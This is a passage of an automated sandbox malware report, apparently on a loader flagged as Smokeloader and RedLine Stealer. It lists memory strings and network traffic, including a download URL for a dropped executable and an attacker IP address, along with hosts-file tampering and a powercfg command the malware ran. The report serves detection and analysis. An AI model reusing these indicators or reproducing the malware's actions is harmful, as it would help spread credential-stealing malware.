Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502R
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283294542.000001C419B02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 0000000B.00000003.2379099925.000001C41A357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 0000000B.00000003.2378571083.000001C41A35A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2380302512.000001C41A331000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378350232.000001C41A32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 0000000B.00000002.3284019079.000001C41AADC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283017591.000001C419A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 0000000B.00000002.3283017591.000001C419A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378534530.000001C41A310000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 0000000B.00000002.3283017591.000001C419A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 0000000B.00000002.3283017591.000001C419A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srfLive
Source: svchost.exe, 0000000B.00000002.3283017591.000001C419A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/resetpw.srf.srf
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 0000000B.00000002.3283727080.000001C41AA5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283248532.000001C419ACC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com:443/RST2.srf
Source: svchost.exe, 0000000B.00000002.3283727080.000001C41AA5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com:443/RST2.srfityCRL
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfJ
Source: svchost.exe, 0000000B.00000002.3283017591.000001C419A2B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.
Source: svchost.exe, 0000000B.00000003.2378534530.000001C41A310000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID
Source: svchost.exe, 0000000B.00000002.3283017591.000001C419A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf-
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 0000000B.00000003.2378534530.000001C41A310000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
Source: svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 0000000B.00000003.2379289952.000001C41A327000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfMM
Source: svchost.exe, 0000000B.00000003.2378534530.000001C41A310000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 0000000B.00000003.2378534530.000001C41A310000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE
Source: svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378350232.000001C41A32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://signup.live.com/signup.aspx
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sirault.be/
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sirault.be/bH
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sirault.be/chrome_93.exe
Source: 3WffcqLN3q.exe, 00000000.00000002.2633963881.0000000034650000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sirault.be/chrome_93.exebytes=0-2097151
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sirault.be/chrome_93.exep
Source: 3WffcqLN3q.exe, 00000000.00000003.2233018872.000000002D17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 3WffcqLN3q.exe, 00000000.00000003.2233018872.000000002D17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FAB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FAB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 3WffcqLN3q.exe, 00000000.00000003.2150716888.0000000000A75000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: 3WffcqLN3q.exe, 00000000.00000003.2150716888.0000000000A75000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 3WffcqLN3q.exe, 00000000.00000002.2610980463.000000000045A000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: 3WffcqLN3q.exe, 00000000.00000003.2233018872.000000002D17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: 3WffcqLN3q.exe, 00000000.00000002.2610980463.000000000045A000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: 3WffcqLN3q.exe, 00000000.00000003.2233018872.000000002D17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 3WffcqLN3q.exe, 00000000.00000002.2610980463.000000000045A000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 3WffcqLN3q.exe, 00000000.00000003.2233018872.000000002D17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 3WffcqLN3q.exe, 00000000.00000002.2610980463.000000000045A000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: 3WffcqLN3q.exe, 00000000.00000002.2610980463.000000000045A000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: 3WffcqLN3q.exe, 00000000.00000003.2233018872.000000002D17C000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2610980463.000000000045A000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 3WffcqLN3q.exe, 00000000.00000003.2233018872.000000002D17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: 3WffcqLN3q.exe, 00000000.00000002.2610980463.000000000045A000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: 3WffcqLN3q.exe, 00000000.00000003.2233018872.000000002D17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: unknown Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown HTTPS traffic detected: 185.98.131.200:443 -> 192.168.2.5:49728 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands
barindex
Modifies the hosts file
Source: C:\ProgramData\HIJEGDBGDB.exe File written: C:\Windows\System32\drivers\etc\hosts Jump to behavior

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 00000000.00000002.2611482078.0000000000910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2611578671.00000000009CB000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
PE file contains section with special chars
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name:
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name:
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name:
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name:
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name:
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name:
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name:
Source: HIJEGDBGDB.exe.0.dr Static PE information: section name:
Source: updater.exe.5.dr Static PE information: section name:
Source: updater.exe.5.dr Static PE information: section name:
Source: updater.exe.5.dr Static PE information: section name:
Source: updater.exe.5.dr Static PE information: section name:
Source: updater.exe.5.dr Static PE information: section name:
Source: updater.exe.5.dr Static PE information: section name:
Source: updater.exe.5.dr Static PE information: section name:
Source: updater.exe.5.dr Static PE information: section name:
Uses powercfg.exe to modify the power settings
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Contains functionality to call native functions
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6DB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 0_2_6C6DB700
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6DB8C0 rand_s,NtQueryVirtualMemory, 0_2_6C6DB8C0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6DB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError, 0_2_6C6DB910
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C67F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 0_2_6C67F280
Detected potential crypto function
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6735A0 0_2_6C6735A0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C685440 0_2_6C685440
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6E545C 0_2_6C6E545C
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6E542B 0_2_6C6E542B
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6EAC00 0_2_6C6EAC00
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6B5C10 0_2_6C6B5C10
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6C2C10 0_2_6C6C2C10
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C67D4E0 0_2_6C67D4E0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6B6CF0 0_2_6C6B6CF0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6864C0 0_2_6C6864C0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C69D4D0 0_2_6C69D4D0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6D34A0 0_2_6C6D34A0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6DC4A0 0_2_6C6DC4A0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C686C80 0_2_6C686C80
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C68FD00 0_2_6C68FD00
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6A0512 0_2_6C6A0512
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C69ED10 0_2_6C69ED10
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6D85F0 0_2_6C6D85F0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6B0DD0 0_2_6C6B0DD0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6E6E63 0_2_6C6E6E63
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C67C670 0_2_6C67C670
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6C2E4E 0_2_6C6C2E4E
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C694640 0_2_6C694640
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C699E50 0_2_6C699E50
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6B3E50 0_2_6C6B3E50
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6D9E30 0_2_6C6D9E30
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6C5600 0_2_6C6C5600
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6B7E10 0_2_6C6B7E10
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6E76E3 0_2_6C6E76E3
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C67BEF0 0_2_6C67BEF0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C68FEF0 0_2_6C68FEF0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6D4EA0 0_2_6C6D4EA0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6DE680 0_2_6C6DE680
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C695E90 0_2_6C695E90
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C689F00 0_2_6C689F00
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6B7710 0_2_6C6B7710
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C67DFE0 0_2_6C67DFE0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6A6FF0 0_2_6C6A6FF0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6C77A0 0_2_6C6C77A0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6BF070 0_2_6C6BF070
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C698850 0_2_6C698850
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C69D850 0_2_6C69D850
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6BB820 0_2_6C6BB820
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6C4820 0_2_6C6C4820
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C687810 0_2_6C687810
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C69C0E0 0_2_6C69C0E0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6B58E0 0_2_6C6B58E0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6E50C7 0_2_6C6E50C7
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6A60A0 0_2_6C6A60A0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C68D960 0_2_6C68D960
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6CB970 0_2_6C6CB970
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6EB170 0_2_6C6EB170
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C69A940 0_2_6C69A940
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C67C9A0 0_2_6C67C9A0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6AD9B0 0_2_6C6AD9B0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6B5190 0_2_6C6B5190
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6D2990 0_2_6C6D2990
